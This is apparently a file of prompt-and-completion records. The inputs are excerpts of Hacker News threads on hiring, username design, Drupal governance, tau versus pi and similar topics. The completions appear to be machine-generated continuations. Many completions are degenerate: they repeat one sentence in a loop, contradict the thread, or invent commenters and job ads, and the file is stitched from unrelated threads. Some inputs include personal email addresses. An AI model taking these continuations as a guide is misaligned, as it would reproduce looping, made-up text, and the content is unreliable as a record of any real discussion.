"site | Full-time |\n[https://altvr.com](https://altvr.com)\n\nAltspaceVR is a virtual reality social platform that lets you meet new people\nand experience the world through their eyes. We're a small team of\nexperienced engineers, designers, and product managers, and we're looking for\nengineers who are interested in working on VR/AR/MR/MR/XR/UI/UX/Web/Mobile\nand who want to", "input_text": ".com/jobs/fk06vjw](https://campspot.recruiterbox.com/jobs/fk06vjw)\n\n------\nquadrature\nShopify | Canada (Toronto, Ottawa, Montreal, Waterloo and now San Francisco!)\n| Full-time, Internships | Onsite | Remote | VISA\n\nShopify is a platform that allows entrepreneurs to easily setup an online\nstore. We build solutions that empower merchants at every step of their\njourney. Our product help merchants who are just starting as well as\nestablished brands that need a solution that can scale with their traffic.\nWe're always working on products that make it easier for entrepreneurs to\nreach their audience and help them make data driven decisions. Shopify is\nbuilt in Ruby on Rails running on a stack composed of Docker, Golang, Python,\nMysql, Kafka, HDFS and Apache Spark. If you're interested in building tools\nthat empower Entrepreneurs come take a look at who we are and what we're doing\n[https://jobs.lever.co/shopify?lever-\nvia=XBuWsYM_Q2](https://jobs.lever.co/shopify?lever-via=XBuWsYM_Q2)\n[https://github.com/Shopify](https://github.com/Shopify).\n\n~~~\nrakeshkadamati\nDon't see any internship listings at that link, can you point me in the right\ndirection on applying for an internship?\n\n~~~\nquadrature\njumped the gun on this a bit, looks like we're done hiring for our summer\nterm.\n\n------\nro_bo\nAltspaceVR | Software Engineers | Redwood City, CA | On"} +{"output_text": " change.\n\n~~~\neridius\nI'm not talking about the username itself, I'm talking about the fact that\nthe username is the primary key for the user.\n\n~~~\nlogicallee\nI'm not sure what you mean.\n\n~~~\neridius\nThe username is the primary key for the user.\n\n~~~\nlogicallee\nI'm not sure what you mean.\n\n~~~\neridius\nThe username is the primary", "input_text": " reserved name?\nAnd apparently the backend is totally okay with a user name that doesn't exist\nin the database?\n\nEither this story is just an ad, or this game has been really badly build and\nsome h4x0r is going to have a field day with this.\n\n~~~\njiberwarrior\n>And apparently the backend is totally okay with a user name that doesn't\nexist in the database?\n\nWhat do you think happens when a previously unregistered user creates an\naccount\n\n------\njayventura\nThis is literally that NULL license plate problem! I wonder how many other\nsystems this bug may exist in.\n\n([https://news.ycombinator.com/item?id=20676904](https://news.ycombinator.com/item?id=20676904))\n\n------\neridius\nPlease don't use the username as your primary key for a user!\n\nUsernames change. If your username can't change, you designed your system\nwrong.\n\nSystems that are heavily persisted-comment-based at least have the excuse\nwhere changing a username would invalidate old comments referencing that user,\nbut even GitHub still lets you change your username (if you link @-references\nto users, please store the user's ID in the backend text and only convert it\nback to a username when displaying; GitHub doesn't take this step but it\nshould).\n\nP.S. Hacker News, I'm looking at you.\n\n~~~\nlogicallee\nCome on, user names don't change. Whether it's Hacker News (as you mention), a\nreddit username, a skype ID, or your gmail address, nobody expects the\n\"username\" to change, it is unique and can't"} +{"output_text": " end developer is generally not the guy\nthat does the graphics. This is not to say that you can't do both, but it's\nnot the norm.\n\nD) I'm not sure what you mean by \"the designer/artist is generally also the\nguy that codes your Html/Css/Jquery.\" I've never seen this be the case.\n\nE) I'm not sure what you mean by \"the designer/artist is generally also the", "input_text": " before you begin anything. Sure you can morph it as you go, but you\nneed a direct connection to what you are trying to achieve. At the same time\nyou're coding some functionality, you should be thinking about how this is\ngoing to be displayed. It's of course not necessary to do any of the graphics\nor styling at this point, but it works better if you give it some thought and\ntry to form some type of layout and broad design ideas as you go. It's worth\ndoing photoshop mockups when you reach a point where the application\ndevelopment can benefit from being graphically beautiful (which can vary\nimmensely... every project is an island). You draw the line at the first\nmoment you can. If and when you reach a minimum point where your application\ncould be used by the masses, freaking ship it. You can fix and add features\nlater, but the moment you have enough to ship that thing out the door - do it.\nSoftware is never \"finished\" anyways, so you'll need to keep going at it\nanyways.\n\nB) Almost all the information regarding UI usability and user experience holds\nup regardless of age. The concepts are the same now and when it was written.\nThere are also a LOT of resources written in the last few years, so I'd\ndisagree that all the information is old. In any case, it really doesn't\nmatter, you're still going to need to come up with your own conclusions for\nyour specific case. No amount of UI/XI reading is going to allow you to skip\nhaving to do you're own testing and to draw your own conclusions on what works\nfor you.\n\nC) In the web industry the designer/artist is generally also the guy that\ncodes your Html/Css/Jquery. A front"} +{"output_text": " does the need for a solution like this.\n\n------\njoshu\nI'm not sure I understand the business model.\n\nI can see a market for a service that does this for you, but I don't see how\nyou can make money.\n\n~~~\nnathanb\nWe're not making money yet. We're bootstrapping.\n\n~~~\njoshu\nI'm not sure I understand.\n\nYou're not making money yet?", "input_text": "~~~\ntimthorn\nOn the \"About\" page: We make our best effort to maintain the security and\nconfidentiality of your content, and we will never share, publish, or\notherwise distribute your content to anyone besides you. In the event of an\ninadvertent leak or loss of content, we assume no liability, so please use\nyour best judgment when deciding what to send.\n\n------\nsciguy77\nDidn't Need/Want start a Kickstarter project and then a company around this?\n\n------\nniels_olson\nHi, this is awesome! I would like to see a sample in 0.3 mm B pencil lead. I\nhave pretty much given up on evernote because I don't have time to do this in\nbulk (a solution you provide) but if I do it ad hoc with my phone camera the\nquality is terrible (you probably provide the required quality, but I would\nlike to confirm...)\n\nI use 9x5 moleskine, grid ruled, same as your existing sample. But could you\nplease just post a couple pages with different writing utensils? Colored inks\n(orange, light green, etc) and common leads (0.5 mm HB lead of course, and 0.3\nmm B and HB leads). If you need a sample page, I can make one up.\n\n------\nds9\nI have a pile of notebooks that need to get into my computer somehow - but\nimages won't help. I would pay for OCR, but AFAIK the technology today is not\nyet good enough for accurate image-to-text from handwriting.\n\n~~~\nnathanb\nI concur. As the pile of notebooks full of barely-legible handwritten scrawl\ngrows and grows, so"} +{"output_text": "co/about/careers](http://vsco.co/about/careers)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We are looking for a full-stack engineer to join our team.\n\nWe are a small team of engineers and designers who are building the future of\ncommunication. We are looking for someone who is passionate about building\ngreat products and", "input_text": "10\nmillion) stealth tech startup in NYC. We\u2019re looking for someone with a history\nof building amazing applications to join our team. You'll be working with a\ngroup of very passionate engineers and designers that are dedicated to\nbuilding a successful mobile application. The Founding team is made up of\nmembers from Twitter, eBay, Gilt, Glamsquad, Yahoo, Apple, and Dropbox and our\nadvisory board include senior executives from Google, Facebook, Microsoft,\nTwitter, Square and Adobe.\n\nRequirements: \\- 5+ years developing and shipping at large-scale internet\ncompanies \\- Strong foundation in algorithms, data structures, and complexity\nanalysis \\- Fluency in Scala \\- Production experience with relational\ndatabases (MySQL) \\- B.S. in Computer Science\n\n------\navdobb\nVSCO | Android Engineer | Oakland | Onsite | Visa considered |\n[http://vsco.co/about/careers](http://vsco.co/about/careers)\n\nVSCO is a leading creative platform empowering people everywhere to create,\ndiscover & connect through images and words.\n\nAs our community continues to expand rapidly, we're looking for an Android\nengineer (2+ years of professional working experience) to craft and execute\nnew features on a wide range of VSCO products.\n\nTech stack is ndk/c++/java/opengl/tensorflow/rxjava/google protobuf for most\nof work related to client-side (we use Go mostly on the backend)\n\nInterview process: initial phone chat, followed by a technical interview,\nfollowed by a half day on-site (technical interviews with emphasis on team-\nwork)\n\nPlease apply at: [http://vsco."} +{"output_text": "\n~~~\njrockway\nI think the problem is that we have a lot of people who think that they can\nmultitask. They think that they can do two things at once, and that they can\ndo them well.\n\nThe problem is that they can't. They can't do two things at once. They can't\ndo them well. They can't do them at all.\n\n~~~\ncarruthk\nI agree. I think the problem", "input_text": " it affects complex systems.\n\n------\nlvecsey\nThey conflate a few different issues here, the first is interleaving which is\nok since you don't really suffer a performance loss or mental setback. The\nother one is a context switch, for example when a manager interrupts you with\nsomething trivial. Theres nothing more effective at stalling a high speed\npipeline than that.\n\n~~~\nscott_s\nCan you explain what you mean by interleaving? My intuitive definition ends up\nbeing the same as multitasking.\n\n~~~\ncconstantine\nI'm guessing the grandparent post is talking about working on multiple (2,\nmaybe 3) tasks. While waiting for something from one task like a compile/test\nrun to complete or a response from another developer on a question, you can\nwork on the other. This allows you to fill empty time with something\nproductive and lets you context switch at favorable times.\n\nThat kind of soft context switch is fairly easy to manage. A task coming and\nforcing a context switch in the middle of something incurs a much higher\npenalty.\n\n~~~\nscott_s\nStill sounds like plain 'ol multitasking to me, as does the other reply.\n\n~~~\nfallentimes\nBut with multitasking you're working on something at the direct cost of\nworking on something else and indirect cost of time lost switching context.\nWith this, you work on things while other items are being autoworked on (e.g.\nrunning a test or a crawl, downloading a file).\n\n------\ncarruthk\nMultitasking is a pernicious evil of our times! Also the cost of context\nswitching (especially for developers) can be hours per day.\n\n \n"} +{"output_text": " CLJS in a way that makes it hard to use it for\nperformance is a mistake.\n\n~~~\ndidyoucheckthe\n> \"you don't use CLJS to do jQuery animations on your web page\"\n\nI don't know what you're talking about.\n\n> \"you would use it to build complex single page apps or write server side\n> code/scripts\"\n\nI don't know what you're talking about.\n\n> \"you use it", "input_text": " is an optional one for production builds. There is no\n\"bridging\" when using the Closure Compiler with non-Closure compatible code.\nThe issue is that in production mode the Closure Compiler will make aggressive\nassumptions about what it can rename. So it's not about bridging it's about\npreventing renaming - again this is only relevant for advanced production\nbuilds.\n\nThat said for non-Web applications or applications where advanced compilation\nisn't that useful providing a bootstrapped ClojureScript is desirable. We've\nbeen working on that slowly for a long time now. In the coming months you'll\nsee changes such that the ClojureScript compiler can itself be compiled into\nJavaScript.\n\n~~~\ndidyoucheckthe\n> \"again this is only relevant for advanced production builds\"\n\nSo, all real-life builds that anyone would care about.\n\n~~~\nmoonchrome\nThink about where you would use CLJS - my use cases would not have an issue\nwith extra 100kb of code - you don't use CLJS to do jQuery animations on your\nweb page - you would use it to build complex single page apps or write server\nside code/scripts.\n\nYou don't use clojure for performance anyway, it's going to be slower by\ndefault (because of immutability/persistent data structures, and yeah I know\nabout react benefits with immutability that's not my point - you're still\ngoing trough a lot more memory and stressing GC) - you use it to help you deal\nwith your code because of it's semantics.\n\nBut in reality last time I tried CLJS I didn't really feel like it delivers on\nthe productivity part and it's mostly because of implementation issues. IMO\nthe decision to implement"} +{"output_text": ".blogspot.com/2010/06/google-chrome-web-store-and-\nchrome.html\n\n~~~\nLai0chee\nI was thinking of the at command.\n\n------\njohndavi\nI've been using this for a while now, and it's been great. I've been using it\nto delete files that are older than a week, and it's been great.\n\n------\njohndavi\nI've been", "input_text": " srm, is that any use with an SSD with wear levelling etc?\n\n~~~\nscott_karana\nProbably not. Hopefully you're also using FileVault, though it doesn't totally\nalleviate recovery risks (from undelete scripts, etc)\n\n------\njason_slack\nInteresting idea, can anyone give me ideas for specific use cases in everyday\nuse?\n\n~~~\njohndavi\nI use Hazel (mentioned by drhayes9 too) to monitor various folders and take\naction regularly. On the delete side, this includes:\n\n* clearing out any items in Downloads > 1week * clearing out any items from my \"Temp\" folder > 1 day, unless they have an explicit \"save\" tag (\"Temp\" is my go-to alternative to the Desktop and is where I stash anything, well, temporary-ish) * automatically moving screenshots into my Temp folder (where they will soon be deleted)\n\n~~~\nhk__2\nWhy not using /tmp?\n\n~~~\nscott_karana\n1 Workflow: you can put the files _anywhere_ this way, and still have them get\ndeleted.\n\n2 Time granularity (though you could, I suppose, set up subdirectories in\n/tmp/ with associated hourly/daily/weekly/monthly cronjobs)\n\n------\nLai0chee\nIs there no at(1) on OSX?\n\n~~~\nalayne\nYes, you could queue an at job for every deletion. If you moved the file that\napproach would break. Also, you'd have to remove that at queue entry if you\nchanged your mind.\n\n \n\nGoogle to Launch Chrome Web Store and Chrome OS - Uncle_Sam\nhttp://googlesystem"} +{"output_text": "\u2019m willing to learn. I\u2019m a fast learner and I\u2019m willing to work hard.\n\nI\u2019m a software engineer with a background in machine learning and data\nscience. I\u2019ve been working in the Bay Area for the past year, and I\u2019m looking\nfor a new challenge.\n\n------\njames_s_tayler\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n", "input_text": " quickly, advance computer proficiency and training. Solid background in\nAgile Development and Remote settings supporting team needs. Flexible and\nhardworking team player focused on boosting efficiency and performance with\nconscientious and detail-oriented approaches. I am available to work remote\nfor a Junior role as a DevOps Engineer and also up for ReactNative Engineer\nRole.\n\nLocation: Lagos, Nigeria\n\nRemote: Yes\n\nWilling to relocate: Yes\n\nTechnologies: HTML, CSS, JavaScript, MySQL, Terraform, k8s, Docker, AWS, GCP,\nAZURE, Ansible, Gilab, Jenkins(more in Resume)\n\nResume:\n[https://drive.google.com/open?id=1K6Dv3sd5lGf7OeY3prjg9lOctM...](https://drive.google.com/open?id=1K6Dv3sd5lGf7OeY3prjg9lOctMXtQmgO)\n\nEmail: Adefemi171@gmail.com\n\n------\nharlanji\nLocation: San Francisco, CA\n\nRemote: willing.\n\nWilling to relocate: within CA.\n\nTechnologies: Clojure, Docker, Kubernetes, RasPi, JVM 8, NodeJS, AWS, GCP.\n\nResume: tailored to position. Samples on website.\n\nEmail: biz@harlanji.com\n\nHi HN. I\u2019ve been stuck homeless for almost 2 years. I\u2019m mentally sound and\nsober, but have no support network. They were mostly gone when I quit drinking\nand became vegetarian. I can\u2019t get through a Google-style interview right now,\nbut I"} +{"output_text": " conflict of interest\n-- but he's the only one who has the power to change it.\n\n~~~\njlgaddis\n> _My thesis is not that Crell 's behavior was acceptable. I know I don't have\n> the standing to opine on that. My thesis is that Dries isn't accountable for\n> this conflict of interest and the demands of running a venture-backed\n> startup are largely at odds with the demands of running a community worthy of", "input_text": "gain from making such a claim -- it's important to note he emphatically said\nNO.\n\n[https://www.reddit.com/r/drupal/comments/60y9mq/larry_garfie...](https://www.reddit.com/r/drupal/comments/60y9mq/larry_garfield_on_harassment_in_the_drupal_project/dfcg0n8/)\n\n~~~\nnetaustin\nI'm with you 100% here, yeah, and I agree entirely with the points made here\n[[https://subfictional.com/thoughts-on-recent-drupal-\ngovernanc...](https://subfictional.com/thoughts-on-recent-drupal-governance-\ndecisions/)]. But I don't think Dries has the credibility to act in the\ncommunity's best interest and also in the best interest of Acquia. As an\nofficer of Acquia he has a fiduciary responsibility; his responsibility to\nDrupal is purely ethical.\n\nI'd argue that Ryan can't really gain from making a claim that Dries is trying\nto damage his business, because then he's admitting that his business has been\ndamaged without any real recourse. But I do agree that he knows plenty that we\ndon't!\n\nMy thesis is not that Crell's behavior was acceptable. I know I don't have the\nstanding to opine on that. My thesis is that Dries isn't accountable for this\nconflict of interest and the demands of running a venture-backed startup are\nlargely at odds with the demands of running a community worthy of its code of\nconduct.\n\nOf course, Dries is not the only BDFL with this kind of a"} +{"output_text": " economy\" doesn't make sense.\n\nThe assertion is \"growing the economy\" doesn't make sense.\n\nThe assertion is \"growing the economy\" doesn't make sense.\n\nThe assertion is \"growing the economy\" doesn't make sense.\n\nThe assertion is \"growing the economy\" doesn't make sense.\n\nThe assertion is \"growing the economy\" doesn't make sense.\n\nThe assertion is \"growing the economy\" doesn't make sense.\n\nThe", "input_text": " the native timer (or a\nwatch, for that matter).\n\n------\nshadesandcolour\nI hope that their next feature is the ability to queue up a bunch of goals for\nthe day. Scheduling something for an hour from now is nice, but being able to\nsay \"I would like to do x,y and z today for this many minutes each\" would be a\nnice thing to have. As it stands right now this is pretty similar to the built\nin clock app.\n\n~~~\nc3\nthere's an app called Habit List (ios) that pretty much does that.\n\n------\nArtemis2\nNo Android app, no Windows Phone app. This is not an application suited for\nmodern smartphone world.\n\n~~~\nandr\nAs an app just launching it'd make sense to try product-market fit on one\nplatform before investing in all three.\n\n~~~\nnoahtkoch\nI don't know, he has a point, look at Instagram, Vine, and Clear. All very\nunsuccessful apps, all launched exclusively on iPhone first. /s\n\n~~~\ndpcx\nUsing the term \"unsuccessful\" with Instragram and Vine is a bit misleading,\nIMHO. Instagram got a rather large (even if undeserved) purchase, and Vine is\nhuge.\n\n~~~\nceejayoz\nI think that was the (sarcastic) point.\n\n \nWhy \u201cGrowing the Economy\u201d Doesn\u2019t Even Make Sense - mindstab\nhttps://medium.com/@girlziplocked/why-growing-the-economy-doesn-t-even-make-sense-c2a3900d8403#.wxul8jcxb\n======\nAnimalMuppet\nThe assertion is \"growing the"} +{"output_text": "\nor that they were trying to keep it quiet.\n\n~~~\nmikeash\nI don't know if you're right or not, but I think it's a reasonable assumption\nthat the other car companies are doing the same thing.\n\nIf you're going to cheat, you might as well cheat on all the tests.\n\n~~~\njoshmoz\nI don't think that's necessarily true. I think it's more likely that they're\ndoing the same thing", "input_text": " approved? Or alternatively, everyone is cheating?\nBecause you can imagine a world where some firms cheat to get 10-20-30% less\nthan rated, so that they're in line with the industry.\n\nBut if VW's normal car is 40x worse than advertised, and most cars were close\nto the correct standard, wouldn't they just hire a guy who knew how to fix\ntheir cars? Did VW's internal testing test competitors' cars?\n\nIs this going to explode across the industry?\n\nAlso, this isn't the only kind of test that a car goes through. There's crash\ntests, MPG tests, and all sorts of things that I wouldn't know about. If you\ncan game an emissions test, you can game the crash test and the MPG test,\nwhich are probably both things people care about a fair bit more than\nemissions.\n\n~~~\njoshmoz\nWhen I was car shopping the VW diesel numbers, for tdi sportwagen in\nparticular, were impressive. Nothing else came close to VW's combination of\npower, space, and mileage. Now maybe there are people who know more about cars\nthan I do and can dispute that, but that was my perception a couple of years\nago.\n\nIf I were the other car companies, I'd want to know exactly how VW was pulling\nthat off. They must have looked into it, and surely they're not as easily\nmisled as I apparently was (how would I know if VW was outright lying about\nthe car?).\n\nThis suggests to me that the other car companies must have known that VW was\ndoing something wrong. The fact that they didn't rat VW out suggests to me\nthat they were either doing the same thing (maybe not as aggressively as VW)"} +{"output_text": " is not guaranteed, you will be\ncompletely unable to access your bank account.\n\nThis is a problem with IPv6, not IPv4.\n\n>You have to be able to access your bank account, so you have to be able to\naccess your bank account from anywhere.\n\nThis is a problem with IPv6, not IPv4.\n\n>You have to be able to access your bank account, so you have to be able to\naccess your bank account from", "input_text": " attacks sufficiently hard\nto perform afterwards. If your username can be leaked within seconds, the\nattacker probably has access to perform more devastating attacks than a simple\nDoS.\n\n>You usually can't change your username, so you can not change that \"password\"\nto something the attacker doesn't know.\n\nYou might not be able to change your username online, but support can probably\nchange it.\n\n>You have it all backwards? The sensitive part is what is called the password.\nIf your username is sensitive, you are already doing it all wrong. Especially\nbecause, see above, you can change your password, you can not (usually,\neasily) change your username-pretending-to-be-your-password.\n\nYes, usernames are supposed to be identifiers only, but keeping it a secret\nfrom your enemies isn't particularly hard. Please explain how the attackers\nare getting a hold of your username in the first place.\n\n>You have heard of this thing called a bot net, right?\n\nHere's why you need to consider the threat model. If it's some guy out for the\nlulz, using a botnet incurs a cost (both in terms of actual risk in terms of\ndetection, and opportunity cost in terms of other things he could be using it\nfor eg. credit card fraud, DDoS for fire, etc.). And the guy is willing to\nexpend unlimited resources, then all bets are off. He could use amplification\nattacks to take down the bank's website by raw bandwidth alone. Worst case the\nbank mails/emails everyone new high entropy usernames.\n\n>Also, congrats, you have just introduced the next DoS risk: If you happen to\nuse an ISP where your IPv4 connectivity"} +{"output_text": " in\npassenger, you're wasting CPU.\n\nOn a multi-app box, look to RAM. If your average request spends 50% time in\ndb/services and 50% in passenger, you're wasting RAM.\n\n~~~\nshimsham\nI think the point is that you want to fill up as much RAM as possible with\npassenger processes without utilizing swap in order to maximize your\nperformance and throughput.\n\n~~~\njeremyw\nI", "input_text": "other solutions to similar problems and suggestions to improve my solution.\nThanks\n\n \n\nIn 2005 Creative beat Apple, whose side you took then? - atirip\nhttp://arstechnica.com/uncategorized/2006/08/7575/\n\n======\npan69\nWe took Apple's side since these sort of lawsuits are petty. It's the same\nreason we now take Samsung's side.\n\n~~~\nshimsham\noh look, the wind just changed direction...\n\n------\ny2kenny\nWhat was the patent? What are the prior art for Creative's patent?\n\n~~~\ncalciphus\nThe patent was on the nested menu style of media organization. So that\nfamiliar artist/album/genre drill-down UI that the original iPods had and made\nthem so famously usable.\n\nI don't know of any direct prior art, since apparently a slightly different\nform factor yields patent protection. If I recall, the Creative product was\nthe first to do this on a mobile device, however it was a familiar media\naccess technique for a number of players on computers, including Winamp.\n\n \n\nProduction Rails Tuning with Passenger: PassengerMaxProcesses - itsderek23\nhttp://blog.scoutapp.com/articles/2009/12/08/production-rails-tuning-with-passenger-passengermaxprocesses\n\n======\njeremyw\n_Generally speaking, you want to fill up as much RAM as possible with\npassenger processes without utilizing swap in order to maximize you\nperformance and throughput._\n\nUh, what?\n\nOn a single-app box with real traffic (as the article implies), look first to\nCPU. If your average request spends 50% time in db/services and 50%"} +{"output_text": "oda/2020/01/30/824370501/mystery-\nin-wuhan-recovered-coronavirus-patients-test-negative-then-positive\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nStefanKarpinski\nIt's a way to think about complex numbers.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n~~~", "input_text": " say the _exact_ same thing using tau and\nit's simpler:\n\nTau is a simple, straight line, and stretches the entire length of a circle,\nstarting from the x-axis in the positive x direction, and ending at the x-axis\nfrom the negative x direction. So Tau / 2 is the amount of turning needed to\ngo half-way around the circle. Tau / 4 is the amount of turning needed to go a\nforth of the way around the circle, IE. a right square.\n\nPi might seem easier or obvious to you because you've already been dealing\nwith it for years, but it still creates a situation that is more complex then\nit needs to be. Tau creates a simpler unit-circle, because Tau uses the\n_radius_, and we're talking about _radians_. Using something that's\ncalculated using the diameter, when you're talking about a unit that's\nmeasured in radius's is asking for a mess.\n\n------\ncplease\ne^(\u03c4i/2) = -1\n\nDidn't think so.\n\n~~~\nStefanKarpinski\nYes, which means \"a half turn around the unit circle in the complex plane is\n-1\". Try explaining that in words without saying \"half\" or something\nequivalent to it.\n\n~~~\ntomp\nOpposite of 1 on the unit circle in the complex plane is -1. Pi just means\n\"enough of a turn to get back to the straight line\".\n\n~~~\nstouset\nYou mean a vector in the opposite direction. Clear as mud.\n\n------\nbau5\nDo not want.\n\n \nMystery in Wuhan: recovered coronavirus patients test negative then positive - ceejayoz\nhttps://www.npr.org/sections/goatsands"} +{"output_text": ".\n\n------\njoshu\nI'm a designer, and I'm a programmer. I'm not a good designer, but I'm a good\nprogrammer.\n\nI think the best way to learn design is to do it. I've been doing it for a\nwhile, and I've learned a lot.\n\nI think the best way to learn design is to make a site. I've made a few, and\nI've learned a lot.\n\n", "input_text": " skills. I am not a good\ndesigner. I know this because when I see good designs, I realize I NEVER could\nhave come up with that.\n\nIf you're a programmer, you should be able to nail the science half of the\nequation. As for the art half, I would just shamelessly rip cool things you\nfind when searching \"css inspiration\" or whatever [\"great artists steal\"].\n\nIt's easy to go overboard reading about UX and all the articles completely\nover-analyzing the topic. Unless your product is centered on revolutionary\ninterface like hipmunk, you're probably safe just using established\ninteraction patterns and getting feedback from \"normal people\".\n\nJust see if your non-techie friends can handle it. If so you probably have\nenough to launch. Most big sites were ugly at launch...\n\n------\nsynnik\nI work both sides of the coin. I have a degree in fine Arts, but have been a\nsoftware guy for many years.\n\nI put in an initial design when I make a HTML mock-up. I tweak it until I\nthink it is good, then start to code the actual functions.\n\nAs I work with it, within a few days, the constant usage and testing show me\nwhat is wrong with my design. I then often iterate, updating the design\nwhenever it starts to annoy me. At the start of the project, this is often\nonce a week. After a few revisions, I slow down, and by the time I've been\nworking with an app 6 months, it is fairly stable.\n\nIn terms of how you actually make your design, the KISS principle remains\nvalid. It is much easier to add small UI elements to make a page more\ninteresting than to scale back from an over-engineered design"} +{"output_text": "/ine/noticias/noticia.aspx?id=1237](http://www.ine.es/en/ine/noticias/noticia.aspx?id=1237)\n\n------\njimmywanger\nI'm not sure what the point of this article is.\n\nThe article is basically saying that the US has a shortage of workers, and\nthat the US should do something about it.\n\nThe US has a shortage of", "input_text": "service/en/displayFtu.html?ftuId=FTU_5.2.1.html)\n\nObjectives\n\nArticle 39 TFEU sets out the specific objectives of the CAP:\n\n1 to increase agricultural productivity by promoting technical progress and\nensuring the optimum use of the factors of production, in particular labour;\n\n2 to ensure a fair standard of living for farmers;\n\n3 to stabilise markets;\n\n4 to ensure the availability of supplies;\n\n5 to ensure reasonable prices for consumers.\n\n~~~\npatrickaljord\nI totally agree that we should get rid of the CAP. Not going to argue on this\none.\n\n------\nvonnik\nThe skills gap is very real in America, too. It can be hard to find the people\nyou need. And many of the folks who are out of work don't fit the bill. There\nare specific training programs, sponsored by large companies, that are trying\nto give post-high-school trainees the right vocational skills... (Can't\nremember the names atm!)\n\n------\nreledi\nThere's a lot of talented Spaniards out there. I know because I can proudly\nsay many of them are my teammates.\n\nDid I mention we are hiring? Clojure, Ruby, Data.\n\n[https://www.fundingcircle.com/uk/careers/](https://www.fundingcircle.com/uk/careers/)\n\n------\nAnimats\nThat's what the US has done. There are lots of available workers in the US\nwith non-salable skills.\n\n------\nforthefuture\nIt looks like Spain has almost reached the US' rate of economic non-\nparticipation.\n\n[http://www.ine.es/en"} +{"output_text": "[http://snowplowanalytics.com/about/jobs/](http://snowplowanalytics.com/about/jobs/)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n* Senior Backend Engineer\n\n* Senior Frontend Engineer\n\n* Senior", "input_text": "\n-Machine Learning Engineers $120-200k plus equity -Lead Full-stack Developer $120-200k plus equity -Customer Success Manager $60-70k, plus bonus plan and equity\n\nPlease apply via [https://jobs.lever.co/solvvy](https://jobs.lever.co/solvvy)\nor send me an email: Jenna@solvvy.com\n\n------\nalexatkeplar\nSnowplow Analytics\n([http://snowplowanalytics.com](http://snowplowanalytics.com)) | Support\nEngineer | REMOTE UTC+8 to UTC+10\n\nHaving grown our team to two support engineers with a broad timezone reach\n(Alberta, Canada to Berlin, Germany), we are now looking to move to a full\n\u201cfollow the sun\u201d model, and hire our third support engineer in the UTC+8 to\nUTC+10 timezone range.\n\nThis is a support engineering role - not a support agent role. We are looking\nfor candidates who can learn, troubleshoot and explain the many complex\ntechnical systems that make up the Snowplow offering. You will be supporting\nthe Snowplow Managed Service, under which we orchestrate and monitor the\nSnowplow event pipeline for over 100 customers.\n\nThe support that we provide to our customers is a core part of the Managed\nService offering, and we strive to provide the best technical support of any\nanalytics vendor.\n\nYou'll find more information here:\n[http://snowplowanalytics.com/about/jobs/support-\nengineer/](http://snowplowanalytics.com/about/jobs/support-engineer/)\n\nFor the rest of our open positions see:\n"} +{"output_text": ".\n\nI think the problem is that the Olympics are a 'one size fits all' event.\nThere are a lot of events, and a lot of countries. I think the solution is to\nhave a 'channel' for each country, and then have a 'channel' for each event.\n\n~~~\nNwallins\nI agree that it would be a nightmare to have to figure out which channel was\ncovering which event. I think that the solution is to have", "input_text": "\nUmm, I don't have cable. If I had cable I wouldn't be watching TV on my\ncomputer.\n\n------\nNwallins\nI would really like to see a free market in Olympics coverage, rather than the\nmonopoly we are stuck with. I don't understand why we don't have as many\nchannels with live coverage as there are simultaneous events. I would think\nthat the Olympics group could make more money auctioning off each event's\ncoverage rights freely, rather than negotiating for a huge payoff (per region)\nfrom a single huge network.\n\nIt would certainly increase viewership and the customer experience. Having to\nwatch a very limited set of events on tape delay, subject to some editorially\nmilquetoast attempt at appeal to the lowest common denominator, is a\ndisturbingly negligent delivery of quality goods.\n\nImproving the experience should pay off in spades in the long run, even if I'm\ntoo optimistic in my analysis so far. Produce something valuable for your\ncustomers. The current Olympics TV experience is a joke: Despite my love for\nwinter sports, I am not engaged. I watched _SNL's Best of Chris Farley_ last\nnight on Netflix.\n\n~~~\npedalpete\nI wouldn't be surprised if this was the last Olympics without web broadcasts,\nbut as far as auctioning off each event individually, I think that would be a\n'usability' nightmare for fans. Now, it is pretty simple. I want to see\nOlympics, go to NBC. In Canada we have about 5 channels that have the Olympics\nthis year (maybe it's just in BC), and it is actually a bit annoying to have\nto figure out what channel is covering which events. In the past it has always\nbeen CBC I believe"} +{"output_text": " it?\n\n~~~\nsharemywin\nI'm going to start a business.\n\n------\npvsukale1\nI am a software engineer. I am working on a startup. I am also a part time\nstudent. I am also a part time blogger. I am also a part time entrepreneur.\n\n------\npvsukale1\nI am a software engineer. I am working on a startup. I am also a part time\nstudent. I am", "input_text": "://www.bogleheads.org/wiki/Lazy_portfolios)\n\n------\nnoir_lord\nDon't take your health or general physical condition for granted.\n\nIt's _a lot_ harder to get back in shape than stay in shape.\n\n~~~\npvsukale1\nsure will keep that in mind!! ;)\n\n------\nMalcolmDiggs\nWork less. Smile more. :)\n\nSeriously, this is one of the best times of your life...unless you take a job\nthat squeezes every bit of energy and life out of you. Achieving work-life\nbalance early in your career will make this profession sustainable for you in\nthe long run; so I'd focus on that.\n\nBeyond that: do whatever jobs interest you at the time, live on less than you\nmake, and don't forget to backup your work.\n\n~~~\npvsukale1\n:) thanks. I just want to ask.. work-life balance is it important in your\n20's?\n\n~~~\nMalcolmDiggs\nLife is important in your 20s. If you max-out the time you're working, you'll\nmiss some of the best parts of life. You're only young once.\n\n------\nsharemywin\nentrepreneurship is about sales. Even the SV hype machine is doing a major\nsales job on people. If you don't like to sell or know some one that does that\nyou like to work with. Find a hobby you'll be happier.\n\n~~~\npvsukale1\nok ;)\n\n~~~\nsharemywin\nI've built several sites/businesses that if I could sell I would be a\nmillionaire.\n\n~~~\npvsukale1\nwhat you gonna do about"} +{"output_text": " the pieces around.\n\nBoard games are different. You know the rules. You know why a fireball deals\n23 damage. You know why your city suffers an epidemic. You know why a\nfireball deals 23 damage. You know why your city suffers an epidemic. You\nknow why a fireball deals 23 damage. You know why your city suffers an\nepidemic. You know why a fireball deals 23 damage. You know why your city\nsuffers an epidemic", "input_text": "\nfloody-berry\nIn their defense, T:V was mostly Thrax' doing and Irrational were just an\nunfortunate contractor. Even still, they did butcher just about every mechanic\nin the game.\n\n------\nb0rsuk\nI realize I'm promoting board games to the wrong people - to people who've\nalready been trained to expect the same things from 'games' as from movies -\nbut you should take a closer look at board games.\n\nOutside of computer/console 'game' industry, games are rules. You distinguish\ntwo games by their rules. \"How do 